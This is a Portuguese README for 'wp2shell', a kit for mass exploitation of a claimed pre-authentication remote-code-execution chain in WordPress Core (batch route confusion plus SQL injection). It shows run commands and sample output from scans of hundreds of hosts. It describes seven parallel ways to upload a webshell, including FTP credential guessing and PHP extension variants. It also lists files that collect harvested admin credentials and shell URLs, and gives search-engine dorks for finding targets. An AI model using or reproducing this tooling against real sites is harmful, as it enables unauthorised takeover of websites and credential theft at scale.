
RCE Pré-Auth no WordPress Core — Confusão de Rota em Lote + Injeção de SQL
CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)
Kit de exploração sem dependências para a cadeia de vulnerabilidades wp2shell no WordPress Core. Uma única requisição HTTP anônima alcança execução remota de código em uma instalação padrão do WordPress, sem necessidade de plugins.
| Faixa | Impacto | Corrigido em |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE Completo | 7.0.2 |
| 6.9.0 – 6.9.4 | RCE Completo | 6.9.5 |
| 6.8.0 – 6.8.5 | Somente SQLi | 6.8.6 |
Nenhum plugin ou configuração especial é necessário. Uma instalação limpa do WordPress é explorável.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests somente para o expander)log/scanned.txt ignora alvos já verificadosTodos os 7 métodos são executados em paralelo via ThreadPoolExecutor. O primeiro método bem-sucedido vence e os demais são cancelados.
| # | Método | Descrição |
|---|---|---|
| 1 | direct-plugin | Enviar zip via /wp-admin/plugin-install.php |
| 2 | direct-theme | Enviar zip via /wp-admin/theme-install.php |
| 3 | rest-api | Enviar zip via POST para /wp-json/wp/v2/plugins com cookie de autenticação |
| 4 | plugin-editor | Escrever PHP diretamente via /wp-admin/plugin-editor.php |
| 5 | theme-editor | Escrever PHP no diretório do tema ativo |
| 6 | ftp-bypass | Enviar credenciais FTP quando o WordPress as solicitar |
| 7 | media-upload | Enviar PHP via biblioteca de mídia com 15 variantes de extensão |
Extensões de upload de mídia: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Credenciais FTP testadas: localhost / 127.0.0.1 com root / www-data / credenciais de administrador do WordPress
| Arquivo | Conteúdo |
|---|---|
result.txt | Credenciais de admin: url.com/wp-login.php:user:pass |
result_upload.txt | URLs do shell: shell_url | login_url:user:pass | method |
log/scanned.txt | Todos os hosts verificados (pulo automático ao reexecutar) |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"